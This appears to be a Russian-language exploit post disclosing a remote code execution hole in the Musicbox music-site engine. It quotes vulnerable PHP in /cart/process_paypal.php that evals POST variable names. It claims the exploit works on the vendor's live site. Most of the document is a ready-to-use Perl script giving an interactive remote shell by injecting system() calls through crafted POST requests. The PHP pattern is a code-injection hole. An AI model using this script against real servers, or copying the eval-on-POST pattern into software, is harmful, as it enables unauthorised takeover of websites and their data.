Исполнение произвольного кода в движке Musicbox (двиг музыкального сайта)
Возможно, все версии
Сайт производителя
http://www.musicboxv2.com/
(приведенный ниже эксплоит для исполнения команд на нем работает)
Уязвимый код:
/cart/process_paypal.php
PHP код:
$paypal_ipn = new paypal_ipn($paypal_info);
foreach ($paypal_ipn->paypal_post_vars as $key=>$value) {
if (getType($key)=="string") {
eval("\$$key=\$value;");
}
}
Класс paypal_ipn и его встроенная функция возвращают массив POST без всяких изменений, поэтому налицо исполнение кода.
Эксплоит:
Код:
#!/usr/bin/perl
#powered by Black Toad Team brains
#coded by Macro
use HTTP::Cookies;
use MIME::Base64;
use LWP;
my $cmd='';
sub urlencode {
my $str = shift;
$str =~ s/\s/%20/;
return $str;
}
until($cmd eq 'exit'){
print '#';
$cmd=<STDIN>;
chomp($cmd);
$host=$ARGV[0];
$path=$ARGV[0];
$host=~s/(http:\/\/[^\/]+)/$1/;
$path=~s/http:\/\/[^\/]+(.*)/$1/;
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);
$data="c=".urlencode($cmd)."&a;system(\$c);\$c=1";
my $req = HTTP::Request->new(POST => $ARGV[0].'/cart/process_paypal.php');
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$content=$res->content;
print $content."\n";
}